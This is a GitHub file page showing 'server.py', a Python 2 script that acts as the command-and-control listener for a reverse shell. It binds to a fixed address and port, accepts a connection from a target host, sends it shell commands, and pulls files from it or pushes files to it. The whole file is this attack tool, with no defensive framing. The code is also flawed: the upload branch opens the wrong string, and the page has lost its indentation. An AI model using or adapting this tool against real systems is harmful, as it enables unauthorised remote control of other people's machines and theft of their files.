-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
58 lines (50 loc) · 1.32 KB
/
server.py
File metadata and controls
58 lines (50 loc) · 1.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
import socket
import json
import base64
def reliable_send(data):
json_data = json.dumps(data)
target.send(json_data)
def reliable_recv():
data=""
while True:
try:
data = data + target.recv(1024)
return json.loads(data)
except ValueError:
continue
def shell():
while True:
command = raw_input("Shell#~%s"%str(ip))
reliable_send(command)
if command =='q':
break
elif command[:2] =='cd'and len(command)>1:
continue
elif command[:8] == "download":
with open(command[9:]+"_copy","wb") as file:
file_data = reliable_recv()
file.write(base64.b64decode(file_data))
elif command[:6] == "upload":
try:
with open(command[:7],"rb") as fin:
reliable_send(base64.b64encode(fin.read()))
except:
failed = "failed to upload"
reliable_send(base64.b64encode(failed))
else :
message = reliable_recv()
print(message)
def server():
global s
global ip
global target
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind(("192.168.43.47",54321))
s.listen(5)
print("[+]Listening for incomming connections:")
target, ip = s.accept()
print("[+]Connnections Established From: %s" %str(ip))
server()
shell()